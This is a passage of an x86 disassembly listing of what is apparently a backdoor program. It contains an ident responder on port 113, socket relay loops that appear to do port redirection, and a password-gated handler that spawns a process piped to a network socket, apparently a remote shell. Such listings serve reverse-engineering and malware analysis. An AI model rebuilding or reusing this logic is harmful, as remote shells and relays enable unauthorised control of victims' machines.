		add	esp, 1Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_110]
		push	eax
		push	ebx
		call	dword_4CB674
		push	esi
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_4CB63C
		pop	esi


loc_4101B8:				; CODE XREF: sub_4100DB+6Bj
		push	ebx
		call	dword_4CB6BC
		call	dword_4CB57C
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		call	sub_41B886
		cmp	[ebp+arg_C], edi
		pop	ecx
		pop	ecx
		jnz	short loc_4101F8
		push	edi
		lea	eax, [ebp+var_310]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_4101F8:				; CODE XREF: sub_4100DB+102j
		pop	edi
		pop	ebx
		leave
		retn
sub_4100DB	endp

; ---------------------------------------------------------------------------


loc_4101FC:				; DATA XREF: ___:00401666o
					; sub_401ACD+4369o
		push	ebp
		mov	ebp, esp
		sub	esp, 238h
		push	ebx
		push	esi
		push	edi
		push	10h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp-1Ch]
		push	esi
		push	eax
		mov	[ebp-8], esi
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-1Ch], 2
		push	71h
		call	dword_4CB624
		push	esi
		push	1
		push	2
		mov	[ebp-1Ah], ax
		mov	[ebp-18h], esi
		call	dword_4CB6A4
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_410360
		mov	eax, [ebp+8]
		push	edi
		imul	eax, 234h
		mov	dword_43E56C[eax], ebx
		lea	eax, [ebp-1Ch]
		push	eax
		push	ebx
		call	dword_4CB650
		cmp	eax, 0FFFFFFFFh
		jz	loc_410360
		push	5
		push	ebx
		call	dword_4CB64C
		cmp	eax, 0FFFFFFFFh
		jz	loc_410360
		mov	[ebp-0Ch], edi
		mov	edi, 200h


loc_410287:				; CODE XREF: ___:004102E6j
					; ___:00410349j ...
		lea	eax, [ebp-0Ch]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	ebx
		call	dword_4CB6B8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jz	loc_41035B
		movzx	eax, word ptr [ebp-2Ah]
		push	eax
		push	dword ptr [ebp-28h]
		call	dword_4CB6B0
		push	eax
		lea	eax, [ebp-238h]
		push	offset dword_434654
		push	eax
		call	sub_41B886
		lea	eax, [ebp-238h]
		push	eax
		call	sub_4151AC
		add	esp, 14h
		lea	eax, [ebp-238h]
		push	esi
		push	edi
		push	eax
		push	dword ptr [ebp-4]
		call	dword_4CB63C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410287
		lea	eax, [ebp-238h]
		push	esi
		push	eax
		call	sub_417F7F
		push	0Ch
		lea	eax, [ebp-38h]
		push	esi
		push	eax
		call	sub_41B590
		push	esi
		push	esi
		lea	eax, [ebp-38h]
		push	2
		push	eax
		call	sub_40B08D
		add	esp, 24h
		push	eax
		push	offset aUseridUnixS ; "	: USERID : UNIX	: %s\r\n"
		lea	eax, [ebp-238h]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp-238h]
		push	esi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp-238h]
		push	eax
		push	dword ptr [ebp-4]
		call	dword_4CB674
		cmp	eax, 0FFFFFFFFh
		jz	loc_410287
		mov	dword ptr [ebp-8], 1
		jmp	loc_410287
; ---------------------------------------------------------------------------


loc_41035B:				; CODE XREF: ___:0041029Cj
		cmp	[ebp-8], esi
		jnz	short loc_410387


loc_410360:				; CODE XREF: ___:00410243j
					; ___:00410267j ...
		call	dword_4CB5B8
		push	eax
		lea	eax, [ebp-238h]
		push	offset dword_434610
		push	eax
		call	sub_41B886
		lea	eax, [ebp-238h]
		push	eax
		call	sub_4151AC
		add	esp, 10h


loc_410387:				; CODE XREF: ___:0041035Ej
		push	ebx
		call	dword_4CB6BC
		push	dword ptr [ebp-4]
		call	dword_4CB6BC
		push	dword ptr [ebp+8]
		call	sub_40B412
		pop	ecx
		push	esi
		nop
		call	near ptr 26D0000h
		pop	edi
		pop	esi
		pop	ebx


loc_4103AA:				; DATA XREF: sub_401ACD+613Bo
		push	ebp
		mov	ebp, esp
		sub	esp, 350h
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-150h]
		push	10h
		rep movsd
		pop	edi
		mov	dword ptr [eax+120h], 1
		xor	esi, esi
		push	edi
		lea	eax, [ebp-14h]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-14h], 2
		push	dword ptr [ebp-44h]
		call	dword_4CB624
		push	6
		push	1
		push	2
		mov	[ebp-12h], ax
		mov	[ebp-10h], esi
		mov	[ebp-4], edi
		call	dword_4CB6A4
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+8], eax
		jz	loc_410516
		mov	ecx, [ebp-40h]
		push	1
		imul	ecx, 234h
		push	401h
		push	esi
		push	eax
		mov	dword_43E56C[ecx], eax
		call	dword_4CB534
		lea	eax, [ebp-14h]
		push	edi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB650
		test	eax, eax
		jnz	loc_410516
		push	0Ah
		push	dword ptr [ebp+8]
		call	dword_4CB64C
		test	eax, eax
		jnz	loc_410516


loc_41045A:				; CODE XREF: ___:00410470j
		lea	eax, [ebp-4]
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB6B8
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_41045A
		movzx	eax, word ptr [ebp-26h]
		push	dword ptr [ebp-40h]
		mov	[ebp-14Ch], edi
		mov	[ebp-30h], esi
		push	eax
		push	dword ptr [ebp-24h]
		call	dword_4CB6B0
		push	eax
		lea	eax, [ebp-350h]
		push	offset unk_4346BC
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp-350h]
		push	18h
		push	eax
		call	sub_40B0F6
		mov	[ebp-3Ch], eax
		imul	eax, 234h
		mov	ecx, [ebp-40h]
		add	esp, 20h
		mov	dword_43E564[eax], ecx
		lea	eax, [ebp-18h]
		push	eax
		lea	eax, [ebp-150h]
		push	esi
		push	eax
		push	offset loc_41053B
		push	esi
		push	esi
		nop
; ---------------------------------------------------------------------------
		dw 9EE8h
		dd 8B022600h, 0C969C44Dh, 234h,	8189C63Bh, 43E574h, 75391374h
		dd 63850FD0h, 6AFFFFFFh, 36E89032h, 0EB022600h,	8DE890EDh
		dd 50022609h, 43468068h, 4D0EE800h, 59590000h
; ---------------------------------------------------------------------------
		jmp	short loc_410519
; ---------------------------------------------------------------------------


loc_410516:				; CODE XREF: ___:0041040Dj
					; ___:00410441j ...
		mov	edi, [ebp+8]


loc_410519:				; CODE XREF: ___:00410514j
		push	edi
		call	dword_4CB6BC
		push	dword ptr [ebp+8]
		call	dword_4CB6BC
		push	dword ptr [ebp-40h]
		call	sub_40B412
		pop	ecx
		push	esi
		nop
		call	near ptr 26D0000h
		pop	edi
		pop	esi


loc_41053B:				; DATA XREF: ___:004104CEo
		push	ebp
		mov	ebp, esp
		mov	eax, 1344h
		call	sub_41BB20
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-144h]
		rep movsd
		mov	ebx, [ebp-30h]
		push	1
		pop	ecx
		mov	[ebp-4], ebx
		push	6
		push	ecx
		push	2
		mov	[eax+120h], ecx
		call	dword_4CB6A4
		mov	esi, eax
		xor	edi, edi
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+8], esi
		jz	loc_4106F1
		push	10h
		lea	eax, [ebp-18h]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-18h], 2
		push	dword ptr [ebp-3Ch]
		call	dword_4CB624
		mov	[ebp-16h], ax
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_4CB664
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_4105CB
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_4CB6A8
		jmp	short loc_4105D9
; ---------------------------------------------------------------------------


loc_4105CB:				; CODE XREF: ___:004105BAj
		push	2
		lea	eax, [ebp-8]
		push	4
		push	eax
		call	dword_4CB5DC


loc_4105D9:				; CODE XREF: ___:004105C9j
		cmp	eax, edi
		jz	loc_4106F1
		mov	eax, [eax+0Ch]
		push	10h
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp-14h], eax
		lea	eax, [ebp-18h]
		push	eax
		push	esi
		call	dword_4CB5CC
		cmp	eax, 0FFFFFFFFh
		jz	loc_4106F1
		movzx	eax, word ptr [ebp-16h]
		push	dword ptr [ebp-34h]
		mov	[ebp-20h], edi
		push	eax
		push	dword ptr [ebp-14h]
		call	dword_4CB6B0
		push	eax
		lea	eax, [ebp-344h]
		push	offset unk_434744
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-344h]
		push	18h
		push	eax
		call	sub_40B0F6
		imul	ebx, 234h
		mov	[ebp-30h], eax
		imul	eax, 234h
		mov	ecx, [ebp-34h]
		lea	esi, dword_43E56C[ebx]
		mov	dword_43E564[eax], ecx
		add	esp, 20h
		mov	ecx, [esi]
		mov	dword_43E570[eax], ecx
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-144h]
		push	edi
		push	eax
		push	offset loc_410722
		push	edi
		push	edi
		nop
		call	near ptr 2670579h
		mov	ecx, [ebp-30h]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43E574[ecx], eax
		jz	short loc_4106DE


loc_41068B:				; CODE XREF: ___:00410698j
		cmp	[ebp-20h], edi
		jnz	short loc_41069A
		push	32h
		nop
		call	near ptr 2670535h
		jmp	short loc_41068B
; ---------------------------------------------------------------------------


loc_41069A:				; CODE XREF: ___:0041068Ej
		mov	ebx, 1000h


loc_41069F:				; CODE XREF: ___:004106DAj
		push	ebx
		lea	eax, [ebp-1344h]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-1344h]
		push	edi
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4CB63C
		cmp	eax, edi
		jle	short loc_4106F1
		push	edi
		push	eax
		lea	eax, [ebp-1344h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB674
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41069F
		jmp	short loc_4106F1
; ---------------------------------------------------------------------------


loc_4106DE:				; CODE XREF: ___:00410689j
		nop
		call	near ptr 2670E94h
		push	eax
		push	offset unk_434704
		call	sub_415220
		pop	ecx
		pop	ecx


loc_4106F1:				; CODE XREF: ___:0041057Fj
					; ___:004105DBj ...
		mov	eax, [ebp-4]
		imul	eax, 234h
		push	dword_43E56C[eax]
		call	dword_4CB6BC
		push	dword ptr [ebp+8]
		call	dword_4CB6BC
		push	dword ptr [ebp-4]
		call	sub_40B412
		pop	ecx
		push	edi
		nop
		call	near ptr 26D0000h
		pop	edi
		pop	esi
		pop	ebx


loc_410722:				; DATA XREF: ___:0041066Bo
		push	ebp
		mov	ebp, esp
		mov	eax, 1128h
		call	sub_41BB20
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-128h]
		rep movsd
		mov	esi, [ebp-14h]
		mov	dword ptr [eax+124h], 1
		imul	esi, 234h
		mov	edi, 1000h


loc_410759:				; CODE XREF: ___:0041079Ej
		push	edi
		lea	eax, [ebp-1128h]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-1128h]
		push	0
		push	edi
		push	eax
		push	dword_43E570[esi]
		call	dword_4CB63C
		test	eax, eax
		jle	short loc_4107A0
		push	0
		push	eax
		lea	eax, [ebp-1128h]
		push	eax
		push	dword_43E56C[esi]
		call	dword_4CB674
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_410759


loc_4107A0:				; CODE XREF: ___:00410783j
		push	dword_43E570[esi]
		call	dword_4CB6BC
		push	dword ptr [ebp-14h]
		call	sub_40B412
		pop	ecx
		push	0
		nop
; ---------------------------------------------------------------------------
		dd 2BF843E8h
; ---------------------------------------------------------------------------
		add	bl, [edi+5Eh]
		push	ebp
		mov	ebp, esp
		sub	esp, 3D4h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	78h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-3D4h]
		push	1
		mov	dword ptr [ebp-0Ch], 1Eh
		pop	ebx
		rep movsd
		mov	[eax+1DCh], ebx
		mov	eax, [ebp-208h]
		mov	[ebp+8], eax
		imul	eax, 234h
		lea	esi, dword_43E56C[eax]
		xor	edi, edi
		mov	[ebp-8], edi
		mov	[ebp-1F4h], ebx
		mov	eax, [esi]
		mov	[ebp-1F0h], eax
		lea	eax, [ebp-0Ch]
		push	eax
		push	edi
		lea	eax, [ebp-1F4h]
		push	edi
		push	eax
		push	edi
		call	dword_4CB60C
		test	eax, eax
		jnz	short loc_410843
		push	dword ptr [esi]
		call	dword_4CB6BC
		push	dword ptr [ebp+8]
		call	sub_40B412
		pop	ecx
		push	edi
		nop
		call	near ptr 26D0000h


loc_410843:				; CODE XREF: ___:00410829j
		push	edi
		lea	eax, [ebp-3Ch]
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4CB63C
		lea	eax, [ebp-2Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_4109C4
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_4109C4
		lea	eax, [ebp-0F0h]
		push	40h
		push	eax
		push	dword ptr [esi]
		call	sub_4109C4
		add	esp, 24h
		lea	eax, [ebp-4]
		mov	dword ptr [ebp-4], 10h
		push	eax
		lea	eax, [ebp-1Ch]
		push	eax
		push	dword ptr [esi]
		call	dword_4CB578
		test	eax, eax
		jz	short loc_4108BC
		call	dword_4CB5B8
		push	eax
		push	offset unk_43481C
		call	sub_415220
		push	dword ptr [ebp+8]
		call	sub_40B412
		add	esp, 0Ch
		push	edi
		call	near ptr 26D0000h
		nop


loc_4108BC:				; CODE XREF: ___:00410897j
		push	2
		lea	eax, [ebp-18h]
		push	4
		push	eax
		call	dword_4CB5DC
		cmp	eax, edi
		jnz	short loc_4108E6
		push	dword ptr [ebp-18h]
		call	dword_4CB6B0
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_41B886
		jmp	short loc_4108F4
; ---------------------------------------------------------------------------


loc_4108E6:				; CODE XREF: ___:004108CCj
		push	dword ptr [eax]
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_41BEB0


loc_4108F4:				; CODE XREF: ___:004108E4j
		pop	ecx
		pop	ecx
		push	edi
		push	ebx
		push	offset dword_43D7D8
		push	dword ptr [esi]
		call	dword_4CB674
		cmp	dword_4CE388, edi
		jnz	short loc_410956
		push	dword ptr [ebp-18h]
		lea	eax, [ebp-350h]
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		call	sub_410A1E
		add	esp, 10h
		test	eax, eax
		jnz	short loc_410956
		push	edi
		push	13h
		push	offset aPermissionDeni ; "Permission denied\n"
		push	dword ptr [esi]
		call	dword_4CB674
		push	dword ptr [esi]
		call	dword_4CB6BC
		push	dword ptr [ebp+8]
		call	sub_40B412
		pop	ecx
		push	edi
		nop
		call	near ptr 26D0000h


loc_410956:				; CODE XREF: ___:0041090Bj
					; ___:0041092Cj
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset unk_4347E0
		call	sub_415220
		push	dword ptr [ebp+8]
		call	sub_410CD5
		add	esp, 10h
		test	eax, eax
		jnz	short loc_41099D
		call	near ptr 2670E94h
		nop
		push	eax
		push	offset unk_4347B4
		call	sub_415220
		push	dword ptr [ebp+8]
		call	sub_40B412
		add	esp, 0Ch
		push	ebx
		nop
		call	near ptr 26D0000h


loc_41099D:				; CODE XREF: ___:00410978j
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset unk_434788
		call	sub_415220
		push	dword ptr [ebp+8]
		call	sub_40B412
		add	esp, 10h
		push	edi
		nop
		call	near ptr 26D0000h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4109C4	proc near		; CODE XREF: ___:00410859p
					; ___:00410866p ...

var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB63C
		cmp	eax, 1
		jnz	short loc_410A14
		mov	esi, [ebp+arg_4]


loc_4109E2:				; CODE XREF: sub_4109C4+41j
		mov	al, [ebp+var_1]
		mov	[esi], al
		inc	esi
		dec	[ebp+arg_8]
		jz	short loc_410A09
		test	al, al
		jz	short loc_410A18
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB63C
		cmp	eax, 1
		jz	short loc_4109E2
		jmp	short loc_410A14
; ---------------------------------------------------------------------------


loc_410A09:				; CODE XREF: sub_4109C4+27j
		push	offset unk_434848
		call	sub_415220
		pop	ecx


loc_410A14:				; CODE XREF: sub_4109C4+19j
					; sub_4109C4+43j
		xor	eax, eax
		jmp	short loc_410A1B
; ---------------------------------------------------------------------------


loc_410A18:				; CODE XREF: sub_4109C4+2Bj
		push	1
		pop	eax


loc_410A1B:				; CODE XREF: sub_4109C4+52j
		pop	esi
		leave
		retn
sub_4109C4	endp


; =============== S U B	R O U T	I N E =======================================



sub_410A1E	proc near		; CODE XREF: ___:00410922p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_0]
		push	[esp+4+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_410A49
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		push	offset dword_434874
		call	sub_415220
		add	esp, 0Ch
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_410A49:				; CODE XREF: sub_410A1E+11j
		push	1
		pop	eax
		retn
sub_410A1E	endp

; ---------------------------------------------------------------------------
byte_410A4D	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+23D4o
		dd 5A4EC81h, 458B0000h,	6A575608h, 0F08B5978h, 0FDECBD8Dh
		dd 16AFFFFh, 895FA5F3h,	1DCB8h,	5C858D00h, 50FFFFFAh, 20268h
		dd 9415FF00h, 33004CB5h, 74C63BF6h, 0E468501Dh,	0E8004349h
		dd 478Ch, 0E8B475FFh, 0FFFFA976h, 570CC483h, 0F55AE890h
		dd 6857022Bh, 410CCBh, 3500ACE8h, 0C0859002h, 0D9E82975h
		dd 90022603h, 49A06850h, 59E80043h, 59000047h, 7C15FF59h
		dd 0FF004CB5h, 3BE8B475h, 59FFFFA9h, 21E89057h,	53022BF5h
		dd 458D106Ah, 0E85056E0h, 0AAA4h, 660CC483h, 2E045C7h
		dd 0B075FF00h, 0B62415FFh, 66A004Ch, 66026A57h,	89E24589h
		dd 15FFE475h, 4CB6A4h, 0FB83D88Bh, 3B840FFFh, 8B000001h
		dd 106AB445h, 234C069h,	98890000h, 43E56Ch, 50E0458Dh
		dd 5015FF53h, 85004CB6h, 17850FC0h, 68000001h, 7FFFFFFFh
		dd 4C15FF53h, 85004CB6h, 3850FC0h, 68000001h, 434964h
		dd 0CF045C7h, 89000000h, 7589F475h, 4642E8F8h, 89590000h
		dd 458D087Dh, 0FC45C7FCh, 10h, 0CC458D50h, 15FF5350h, 4CB6B8h
		dd 0FF83F88Bh, 0CA840FFFh, 0FF000000h, 458D0875h, 86A5008h
		dd 0FFFF68h, 15FF5700h,	4CB604h, 74FFF883h, 45B70FC5h
		dd 0B475FFCEh, 50C87589h, 0FFD075FFh, 4CB6B015h, 858D5000h
		dd 0FFFFFBECh, 43492068h, 0B7E85000h, 8D0000ACh, 0FFFBEC85h
		dd 0D1E850FFh, 57000045h, 0FBEC858Dh, 96AFFFFh,	0A50CE850h
		dd 4589FFFFh, 34C069B8h, 8B000002h, 0C483B44Dh,	64888924h
		dd 8D0043E5h, 8D50DC45h, 0FFFDEC85h, 685056FFh,	4107BFh
		dd 56F0458Dh, 0F95FE850h, 8B900225h, 0C969B84Dh, 234h
		dd 8189C63Bh, 43E574h, 75391374h, 37850FC8h, 6AFFFFFFh
		dd 0F6E89032h, 0EB0225F8h, 4DE890EDh, 50022602h, 4348E468h
		dd 45CEE800h, 59590000h, 7D8B03EBh, 0B815FF08h,	50004CB5h
		dd 0FBEC858Dh, 0AC68FFFFh, 50004348h, 0AC15E8h,	0CC48300h
		dd 75C47539h, 858D5620h, 0FFFFFBECh, 50C075FFh,	0FDF0858Dh
		dd 0FF50FFFFh, 0FFFDECB5h, 8DDCE8FFh, 0C483FFFFh, 0EC858D14h
		dd 50FFFFFBh, 4507E8h, 0FF575900h, 4CB6BC15h, 15FF5300h
		dd 4CB6BCh, 0B57C15FFh,	75FF004Ch, 0A750E8B4h, 5659FFFFh
		dd 0F336E890h, 335B022Bh, 244439C0h, 0C0940F04h
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410CD5	proc near		; CODE XREF: ___:0041096Ep

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_410E26
		imul	edi, 234h
		mov	esi, eax
		xor	ebx, ebx
		mov	eax, dword_43E56C[edi]
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[esi+0Ch], eax
		mov	edi, dword_42707C
		pop	ecx
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_410FF8
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+10h], eax
		jnz	short loc_410D40
		nop
		call	near ptr 2670E94h
		push	eax
		push	offset unk_434A44
		call	sub_415220
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		jmp	short loc_410D7A
; ---------------------------------------------------------------------------


loc_410D40:				; CODE XREF: sub_410CD5+50j
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_4110AA
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+14h], eax
		jnz	short loc_410D81
		nop
		call	near ptr 2670E94h
		push	eax
		push	offset unk_434A44
		call	sub_415220
		pop	ecx
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		push	ebx
		push	dword ptr [esi+14h]
		nop
		call	near ptr 2680D2Eh


loc_410D7A:				; CODE XREF: sub_410CD5+69j
		xor	eax, eax
		jmp	loc_410E21
; ---------------------------------------------------------------------------


loc_410D81:				; CODE XREF: sub_410CD5+82j
		mov	eax, [esi+10h]
		push	0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	eax, [esi+14h]
		mov	[ebp+var_14], eax
		mov	eax, [esi+8]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		push	3
		nop
		call	near ptr 2760F25h
		sub	eax, ebx
		jz	short loc_410DDB
		dec	eax
		jz	short loc_410DD5
		dec	eax
		jz	short loc_410DC1
		call	near ptr 2670E94h
		nop
		push	eax
		push	offset unk_434A10
		call	sub_415220
		pop	ecx
		pop	ecx
		jmp	short loc_410DF0
; ---------------------------------------------------------------------------


loc_410DC1:				; CODE XREF: sub_410CD5+D5j
		mov	edi, dword_4270AC
		push	ebx
		push	dword ptr [esi+14h]
		call	edi
		push	ebx
		push	dword ptr [esi+10h]
		call	edi
		jmp	short loc_410DF0
; ---------------------------------------------------------------------------


loc_410DD5:				; CODE XREF: sub_410CD5+D2j
		push	ebx
		push	dword ptr [esi+10h]
		jmp	short loc_410DDF
; ---------------------------------------------------------------------------


loc_410DDB:				; CODE XREF: sub_410CD5+CFj
		push	ebx
		push	dword ptr [esi+14h]


loc_410DDF:				; CODE XREF: sub_410CD5+104j
		call	near ptr 2680D2Eh
		nop
		push	1
		push	dword ptr [esi+8]
		nop
		call	near ptr 26F0B2Dh


loc_410DF0:				; CODE XREF: sub_410CD5+EAj
					; sub_410CD5+FEj
		push	dword ptr [esi+10h]
		mov	edi, dword_427068
		call	edi
		push	dword ptr [esi+14h]
		call	edi
		push	dword ptr [esi+8]
		call	edi
		push	dword ptr [esi]
		call	edi
		push	dword ptr [esi+4]
		call	edi
		push	dword ptr [esi+0Ch]
		call	dword_4CB6BC
		push	esi
		call	sub_41B0B1
		pop	ecx
		push	1
		pop	eax


loc_410E21:				; CODE XREF: sub_410CD5+A7j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410CD5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410E26	proc near		; CODE XREF: sub_410CD5+Dp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	18h
		mov	[ebp+var_4], edi
		mov	[ebp+var_8], edi
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		jz	loc_410F10
		mov	ebx, dword_4270FC
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		lea	eax, [ebp+var_8]
		mov	[esi], edi
		push	eax
		mov	[esi+4], edi
		push	esi
		mov	[ebp+var_14], 0Ch
		mov	[ebp+var_10], edi
		mov	[ebp+var_C], 1
		call	ebx
		mov	edi, dword_427068
		test	eax, eax
		jnz	short loc_410E89
		call	near ptr 2670E94h
		nop
		push	eax
		push	offset unk_434AF4
		jmp	short loc_410EA9
; ---------------------------------------------------------------------------


loc_410E89:				; CODE XREF: sub_410E26+53j
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		lea	eax, [esi+4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	ebx
		test	eax, eax
		jnz	short loc_410EB1
		call	near ptr 2670E94h
		nop
		push	eax
		push	offset unk_434AB4


loc_410EA9:				; CODE XREF: sub_410E26+61j
		call	sub_415220
		pop	ecx
		jmp	short loc_410EDF
; ---------------------------------------------------------------------------


loc_410EB1:				; CODE XREF: sub_410E26+75j
		push	[ebp+arg_0]
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	sub_410F1F
		add	esp, 0Ch
		mov	[esi+8], eax
		push	[ebp+var_4]
		call	edi
		push	[ebp+var_8]
		call	edi
		cmp	dword ptr [esi+8], 0
		jnz	short loc_410F14
		push	offset unk_434A8C
		call	sub_4151AC


loc_410EDF:				; CODE XREF: sub_410E26+89j
		cmp	[ebp+var_4], 0
		pop	ecx
		jz	short loc_410EEB
		push	[ebp+var_4]
		call	edi


loc_410EEB:				; CODE XREF: sub_410E26+BEj
		cmp	[ebp+var_8], 0
		jz	short loc_410EF6
		push	[ebp+var_8]
		call	edi


loc_410EF6:				; CODE XREF: sub_410E26+C9j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_410EFF
		push	eax
		call	edi


loc_410EFF:				; CODE XREF: sub_410E26+D4j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_410F09
		push	eax
		call	edi


loc_410F09:				; CODE XREF: sub_410E26+DEj
		push	esi
		call	sub_41B0B1
		pop	ecx


loc_410F10:				; CODE XREF: sub_410E26+1Dj
		xor	eax, eax
		jmp	short loc_410F1A
; ---------------------------------------------------------------------------


loc_410F14:				; CODE XREF: sub_410E26+ADj
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		mov	eax, esi


loc_410F1A:				; CODE XREF: sub_410E26+ECj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410E26	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410F1F	proc near		; CODE XREF: sub_410E26+94p

var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		push	44h
		pop	edi
